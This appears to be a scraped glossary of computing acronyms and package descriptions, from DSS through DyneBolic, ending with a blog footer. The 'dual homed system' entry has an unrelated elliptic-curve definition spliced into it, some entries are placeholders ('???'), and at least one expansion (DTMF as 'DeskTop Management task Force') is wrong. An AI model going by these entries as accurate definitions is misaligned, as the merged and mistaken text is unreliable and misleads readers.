Defense Software Repository System (mil., USA) 
DSS
Decision Support System (IM) 
DSS
Defense Switched Services (mil., USA) 
DSS
Digital Signature Standard (NIST, cryptography) 
DSS
Directory and Security Services (DCE, IBM, LAN) 
DSS
Distributed Security Service (DCE) 
DSS2
[setup] Digital Subscriber Signaling #2 
DSSCS
Defense Special Security Communications System (mil., USA) 
DSSI
Digital Storage Systems Interconnect (VAX, DEC) 
DSSS
Direct Sequence Spread Spectrum (WLAN) 
DSSSL
[standard] Document Style Semantics and Specification Language (DTD, ISO, IEC, DIS 10179) 
DST
Daylight Saving Time (TZ) 
DSTN
Double SuperTwisted Nematic (LCD) 
dstooltk
dynamical systems investigation (Tk version) dstool with a Tk front end. dstool is a tool for the investigation of dynamical systems. It is an efficient research tool that integrates a friendly graphical user interface, data management capabilities, a rich set of numerical algorithms together with the flexibility to add more algorithms and communicate data with other programs. 
DSU
Data Secure Unix (Unix, OS, UCLA) 
DSU
Digital Service Unit (ATM) 
DSU
Distribution Service Unit (IBM, SNADS) 
DSV
Digital Signal Verbindung Mil., Germany 
DSVD
Digital Simultaneous Voice and Data (MODEM) 
DT
Display Terminal 
DT
Distributed graphical user interface Toolkit (IBM, GUI, VM/ESA) 
DTA
Direct Tape Access (Seagate) 
DTA
Disk Transfer Area (DOS) 
DTAM
Document Transfer, Access and Manipulation (CCITT, T.400, ODIF) 
DTAP
Direct Transfer Application Part (MS, MM, MTP) 
dtaus
Paperless money transfer with German banks on floppies This package contains a library that can read and write German DTAUS files. DTAUS is an acronym for DatenTraegerAUStausch. It is used by German credit institutes in order to transfer commands for money exchanges between accounts. This format is used both between banks and between banks and their customers. One mainly wants to use it to be able to do automatic "Bankeinzuege". This package probably will only be useful in Germany. 
DTC
Design Time Controls (MS) 
DTC
DeskTop Conferencing 
DTC
Distributed Transaction Coordinator (MS, SQL Server, DB) 
DTD
Document Type Definition (SGML, XML. HTML, DTD) 
DTE
Data Terminal Equipment (X.25, CCITT) 
DTE
DatenTransferEinrichtung 
DTH
DialogTestHilfe (BS2000) 
DTK
Deception ToolKit 
DTLB
Dual Translation Lookaside Buffer (CPU) 
DTMF
DeskTop Management task Force (Intel) 
DTMF
Dual Tone Multi Frequency 
dtmfdial
A DTMF Tone Dialer dtmfdial is a DTMF (Dual Tone Multiple Frequency) tone generator. This program generates the same tones that modern "TouchTone" telephones use to dial. This program could actually be used to dial a phone on any phone system which supports DTMF tones. DTMF dial requires a sound card to work, and is designed to be used as a phone dialer from address book programs. 
DTMP
DCPS Management Panel (DCPS) 
DTMS
Document Transfer and Manipulation Services (CCITT, T.400) 
DTP
DeskTop Publishing 
DTP
Distributed Transaction Processing (X/Open, OLTP) 
DTP
Document Transfer Profile (SPAC, ODA, DAP, predecessor) 
DTR
Data Terminal Ready (MODEM, RS-232) 
DTR
DeskTop Reproduction (DTP) 
DTR
Document Filing and Retrieval (DOAM, ISO, IEC, DIS 10166-1 f.) 
DTR
Draft Technical Report 
DTS
Digital Theatre Sound (audio) 
DTS
Direct To SOM 
DTS
Distributed Time Server 
DTS
Distributed Time Service (DCE) 
DTSS
Dartmouth Time-Sharing System (OS) 
DTU
Demand Transmission Unit 
DU
Disk Used (Unix) 
DU
Distribution Unit (MS, MSIE) 
du
estimate file space usage 
du
tells you how much disk space your files occupy. 
DUA
Directory User Agent (X.500, DS) 
dual homed system (multihomed)
A system having more than one network connection. An example could be a private network within your home, where one system also has a dial-up line. Contrast: The word dual-homed could refer to a router, but is usually used to clarify that the system has multiple network connection, but it NOT supposed to provide briding/routing/interconnection services between them. Dual-home systems are a prime target of hackers because when they are subverted, they provide a prime way to compromise networks. Examples: elliptic curves (ANSI x962, IEEE P1363)[5] Elliptic curves have been found useful for public key cryptography. Contrast: An elliptic curve key of roughly 160-bits is equivalent in security to a RSA or DH key of 1024-bits. Elliptic curve systems are dramatically faster than RSA or DH, which makes them useful in smart-card applications that have anemic CPUs. Certicom (the owner of many elliptic curve patents) recommends a public-key size of roughly twice the size of the symmetric-key to provide equivalent security. Point: While elliptic curves have many advantages (size, speed) over other techniques, they are a lot newer and therefore not trusted. 
dual-boot
The concept of two operating systems installed on a single computer system. 
Dualix
Dualix is a mini-distribution of Linux based on libc5, kernel 2.2.10. It is intended for use as a quick, portable, and configurable network client, not a rescue system. Distribution development is not all that active. 
dumb terminal
a display and input device that doesn't process data and input locally. Instead it transmits input to a computer to which it is connected and displays the resulting output. 
dump
4.4bsd dump and restore for ext2 filesystems Dump examines files on a filesystem and determines which files need to be backed up. These files are copied to the given disk, tape or other storage medium for safe keeping. The restore command performs the inverse function of dump. A full backup of a file system may be restored and subsequent incremental backups layered on top of it. Single files and directory subtrees may be restored from full or partial backups. 
dump
n. 1. An undigested and voluminous mass of information about a problem or the state of a system, especially one routed to the slowest available output device (compare core dump), and most especially one consisting of hex or octal runes describing the byte-by-byte state of memory, mass storage, or some file. In elder days, debugging was generally done by `groveling over' a dump (see grovel); increasing use of high-level languages and interactive debuggers has made such tedium uncommon, and the term `dump' now has a faintly archaic flavor. 2. A backup. This usage is typical only at large timesharing installations. 
dump
The dump package contains both dump and restore. Dump examines files ina filesystem, determines which ones need to be backed up, and copies those files to a specified disk, tape or other storage medium. The restore command performs the inverse function of dump; it can restore afull backup of a filesystem. Subsequent incremental backups can then belayered on top of the full backup. Single files and directory subtrees may also be restored from full or partial backups. 
dumpe2fs
dump filesystem information 
dumpkeys
dump keyboard translation tables 
DUN
Dial Up Networking 
DUOW
Distributed Unit Of Work (DRDA, IBM), "DUoW" 
DUP
Distribution Unit Profile (MS, OSD, DU, MSIE) 
dupload
utility to upload Debian packages This script will automagically upload Debian packages to a remote host with a Debian upload queue. The default host is configurable, along with a lot of other things. All uploads are logged. It's intended only for Debian package maintainers. 
DV
DatenVerarbeitung 
DV
Digital Video 
DVA
DatenVerarbeitungsAnlage 
DVB
Digital Video Broadcasting (Europe, DVB) 
dvb-driver-source
sources for drivers for the Fujitsu Siemens DVB card DVB is a standard for transmission of digital TV and Data over satelite transponders or cable connections. Some DVB cards based on the Fujitsu/Siemens chipset are supported by the linux driver. This package contains sorce code needed to create the driver package. The kernel sources (2.4.9 or newer) must be installed to compile these modules. You will also need the Firmware files for your card, see installation instructions in the package. 
DVBC
Digital Video Broadcasting - Cable (DVB), "DVB-C" 
DVBNIP
Digital Video Broadcasting - ? (DVB), "DVB-NIP" 
DVBRC
Digital Video Broadcasting - ? (DVB), "DVB-RC" 
DVBRCGSM
Digital Video Broadcasting - ? (DVB), "DVB-RCGSM" 
DVBRCT
Digital Video Broadcasting - ? (DVB), "DVB-RCT" 
DVBS
Digital Video Broadcasting - Satellite (DVB), "DVB-S" 
DVBT
Digital Video Broadcasting - Terrestic (DVB), "DVB-T" 
DVC
Digital Video Compression (video) 
DVD
Deutsche Vereinigung fuer Datenschutz [e.V.] (org.) 
DVD
Digital Versatile Disk (CD, MPEG, DVD) 
DVD
Digital Video Disk [old term] (DVD) 
DVDCCA
DVD Copy Control Association (DVD, org.), "DVD CCA" 
dvdplusrw
DVD+RW tools This package includes a format utility for DVD+RW media, and some associated tools. 
DVDR
Digital Versatile Disk Recodable (DVD), "DVD-R" 
DVDRAM
Digital Versatile Disk Random Access Memory (DVD), "DVD-RAM" 
DVDROM
Digital Versatile Disk Read Only Memory (DVD, ROM), "DVD-ROM" 
DVDRW
Digital Versatile Disk + ReWritable (PC-RW, DVD, Sony, Philips, HP, Mitsubishi, Ricoh, Yamaha), "DVD+RW" 
dvgrab
Grab digital video data via IEEE1394 links dvgrab receives audio and video data from a digital camcorder via an IEEE1394 (widely known as FireWire) link and stores them into an AVI file. It features autosplit of long video sequences into several files, and supports saving the data as raw frames, AVI type 1 and AVI type 2. 
dvhtool
Manipulate the volume header on sgi partition layouts This tool is used to manipulate volume headers of devices using sgi disk labels, like moving files into and out of the volume header. 
DVI
DeVice Independent 
DVI
DeVice Independent: a typesetter independent file which is generated from TeX. 
DVI
Digital Video Interactive (LCD, Intel, IBM, Lotus, HP, Compaq, ...) 
DVI (Digital Video Interactive)
A format for recording digital video onto compact disc allowing for compression and full motion video. From Glossary of Distance Education and Internet Terminology
dvi2dvi
Tweak DVI files dvi2dvi can: - expand virtual fonts in given DVI files, - change font names in given DVI files, - decompose 2-byte fonts into 1-byte subfonts. With dvi2dvi, you can convert DVI files generated by NTT jTeX to those of ASCII pTeX, and vice versa. 
dvi2fax
convert a TeX DVI file to G3 fax format 
dvi2ps
TeX DVI-driver for NTT jTeX, MulTeX and ASCII ptex. dvi2ps is another converter of DVI file to PostScript file. dvi2ps can handle NTT jTeX, MulTeX and ASCII ptex dvi files. 
dvi2ps-fontdata-a2n
Font data to convert ptex's dvi file to jtex's dvi file. Virtual font for converting dvi files of ASCII ptex to dvi files to NTT jtex. 
dvi2ps-fontdata-bsr
tfm files for bluesky research fonts. TFM files for bluesky research fonts for dvi2ps. 
dvi2ps-fontdata-ja
Font data for dvi2ps-j and dvi2dvi. Virtual fonts and TFM files for Morisawa fonts, and VFlib. 
dvi2ps-fontdata-n2a
Font data to convert jtex's dvi file to ptex's dvi file. Virtual font for converting dvi files of NTT jtex to dvi files of ASCII ptex. 
dvi2ps-fontdata-ptexfake
Fake ptex TFM files Monometric TFM files for min and goth fonts of ASCII ptex. 
dvi2ps-fontdata-rrs
Font data of Richo LP5100 UX printer. Virtual font and TFM files for Richo LP5100 UX printer. 
dvi2ps-fontdata-rsp
Font data of Richo SP10 printer. Virtual font and TFM files for Richo SP10 printer. 
dvi2ps-fontdata-tbank
Font data of Typebank font. Virtual font and TFM files for Typebank font. 
dvi2ps-fontdata-three
Font data of Adobe Japanese fonts (futomin, futogo, jun101) Virtual font and TFM files for Adobe postscript fonts: FutoMinA101-Bold-H, FutoGoB101-Bold-H, Jun101-Light-H 
dvi2ps-fontdesc-morisawa5
fontdesc files of dvi2ps for Morisawa Basic-5 type faces You can convert DVI file with Morisawa Basic-5 type faces of vfdata-morisawa5 to PS file by dvi2ps with this package. You should run 'dvi2ps -F morisawa' for Morisawa Basic-5 type faces. 
dvicopy
produce modified copy of DVI file 
DVID
Digital Video Interactive - Digital (LCD), "DVI-D" 
dvidvi
Manipulate .dvi files. Allows you to select, change the order, and/or shift the pages in a .dvi file. The main use is to print an a5 booklet on A4 paper, in such a way that you can put a staple through the bundle. A shell script that does just that is provided. 
dvifb
A dvi viewer for framebuffer devices dvifb is a previewer for .dvi-files compiled by TeX. It let's you see what your printed output will look like. 
dvihp
convert a TeX DVI file to Hewlett-Packard PCL 
dvilib2
a portable DVI interpreter library - runtime DVIlib2 is a library for handling DeVice Independent(DVI) files which are usually generated by TeX. It can be used for the core engine of your DVIware, and thanks to VFlib3 your product will be able to handle various fonts. EPS figures managed by graphicx.sty and Japanese TeX DVI files are also supported. Note that DVIlib2 itself is NOT DVIware. It's just a library. If you are looking for a complete DVI previewer etc., why don't you try xgdvi or spawx11? This package contains the shared libraries and configuration files needed to run programs using DVIlib2. This is a part of the TeX-Guy distribution. 
dvilj
convert a TeX DVI file to PCL, for HP LaserJet printers 
dvilj2p
convert a TeX DVI file to PCL, for HP LaserJet printers 
dvilj4
convert a TeX DVI file to PCL, for HP LaserJet printers 
dvilj4l
convert a TeX DVI file to PCL, for HP LaserJet printers 
dvilx
A dvi viewer for X dvilx is a screen-previewer for .dvi-files compiled by TeX. It let's you see what your printed output will look like. You can choose between a black-and-white representation and greyscaling. You can choose an arbitrary zoom factor (at some cost of performance). You can set marks to measure distances. You can search for text strings. You may visit lots of DVI files, set bookmarks and get them saved to a startup-file. dvilx does not support pxl-files. dvilx ignores all 'special'-commands and has no font-replacing mechanism. 
dvipdf
Convert TeX DVI file to PDF using ghostscript and dvips 
dvipdfm
A DVI to PDF translator. Dvipdfm translates files from Donald Knuth's DVI format (commonly produced by TeX) to Adobe's Portable Document Format (PDF). Important features include: \special's that approximate the functionality of the PostScript pdfmarks used by Adobe's Acrobat Distiller; the ability to include PDF, JPEG, PNG, MetaPost, and PostScript (with help from an external program) files as embedded images; support for several \special standards for improved DVI file portability; support for thumbnails (with a little help from GhostScript); re-encoding support for PostScript fonts; virtual font support; support for arbitrary linear graphics transformations; an internal color stack accessible via \special's; beginning of page (BOP) and end of page (EOP) \special's for placing arbitrary PDF stream graphics on every page; partial font embedding and Flate compression for reduced file size; and a balanced page tree and dest tree to improve reader speed on very large documents. 
dvips
convert a TeX DVI file to PostScript 
dvips-fontdata-n2bk
Virtual font data to process dvi files generated by NTT-JTeX. This package contains virtual font data to convert Dai-Nippon fonts, which are used in dvi files generated by NTT-JTeX, to Japanese built-in fonts in PostScript printer. 
dvipsk-ja
DVI-to-PostScript translator with Japanese support This localized version of Tom Rokicki's dvips can handle Japanese DVI files. It can even output in Tate-Gaki(means "write vertically") style. This is part of the ASCII pTeX distribution. 
dvired
print dvi-files 
dvisvga
A dvi viewer for SVGAlib dvisvga is a screen-previewer for .dvi-files compiled by TeX. It let's you see what your printed output will look like. You can choose between a black-and-white representation and greyscaling. You can choose an arbitrary zoom factor (at some cost of performance). You can set marks to measure distances. You can search for text strings. You may visit lots of DVI files, set bookmarks and get them saved to a startup-file. dvisvga does not support pxl-files. dvisvga ignores all 'special'-commands and has no font-replacing mechanism. 
dvitomp
convert a TeX DVI file to a MetaPost MPXFILE 
dvitype
translate a dvi file for humans 
DVL
Digital Video Link 
DVMA
Direct Virtual Memory Access 
DVMRP
Distance Vector Multicast Routing Protocol (IP, Multicast) 
dvorak7min
Typing tutor for dvorak keyboards dvorak7min is a typing tutor to help you learn dvorak. Also included are a pair of useful scripts to easily change between qwerty and dvorak layouts. 
DVPT
Deutscher Verbandes fuer Post und Telekommunikation (org.) 
DVR
??? (DTP, Truevision) 
DVS
Digital Video Systems (manufacturer) 
DVTC (Desktop Videoconferencing)
Videoconferencing on a personal computer. From Glossary of Distance Education and Internet Terminology
DVX
Digital Voice eXchange 
DWANGO
Dialup Wide-Area Network Game Organization (IVS Corporation) 
dwarfs-debian-guide
Dwarf's guide to installing and using Debian GNU/Linux This book by Debian Developer Dale Scheetz covers: - Package Management Tools - Installation - Basic System Administration This package contains the guide in PDF and HTML formats. 
DWDM
Dense Wavelength Division Multiplexing [protocol] 
DWF
Drawing Web Format (AutoCAD) 
DWH
Data WareHouse (DB) 
DWH
DISA Western Hemisphere (DISA, mil., USA) 
DWIM
Do What I Mean (DFUe, Usenet, IRC) 
DWM
Diskless Workstation Management (AIX, IBM) 
DWMT
Discrete Wavelet MultiTone [modulation] 
DWT
Discrete Wavelet Transformation 
dwww
Read all on-line documentation via WWW dwww lets you read all install on-line documentation via a local WWW server. When possible, it converts the documentation to HTML. You need both a WWW server and a WWW browser. 
dx
OpenDX (IBM Visualization Data Explorer) - main package Data Explorer is a system of tools and user interfaces for visualizing data. In general terms the visualization of data can be considered a 3-stage process: 1. Describing and importing data 2. Processing the data through a visualization program 3. Presenting the resulting image. This is the main package. 
DXA
Directory eXchange Agent 
DXI
Data eXchange Interface 
dxpc
An X protocol compressor designed to improve the speed of X11 applications run over low-bandwidth links (such as dialup PPP connections). 
DXS
Directory eXchange Server 
dynafont
Module for konwert package which loads UTF-8 fonts dynamically. This is a tool which allows displaying texts containing thousands of different characters. It switches console to UTF8 mode and loads required fonts dynamically. It is recommended to use this tool with filterm(1) tool, i.e. by executing 'filterm - dynafont' command or 'filterm - 512bold+dynafont' if you are not using framebuffer. The tool works with UTF8-compatible applications, i.e. lynx(1). There are problems with 8-bit only applications like mc(1). 
dynamic
Create desktop entries for GNOME and KDE when a new peripheral is plugged in the system (mainly USB devices). 
dynamic
The state or quality of an object that is frequently changed or modified. In computing terminology, dynamic usually applies to files and values that change often, such as IP addresses. 
DyneBolic
DyneBolic is a live bootable CDROM that will give you a Linux desktop on any machine with a CD drive. Comes with audio streaming, realtime video effects, and Mozilla web browser. Development version 1.0 alpha 5 was released May 11, 2003. A CD-based distribution. 

Комментариев нет:

Отправить комментарий